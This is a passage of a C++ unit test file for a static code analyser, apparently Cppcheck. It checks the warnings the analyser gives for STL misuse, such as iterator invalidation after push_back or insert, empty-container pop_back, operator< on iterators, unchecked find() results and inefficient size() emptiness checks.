ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void 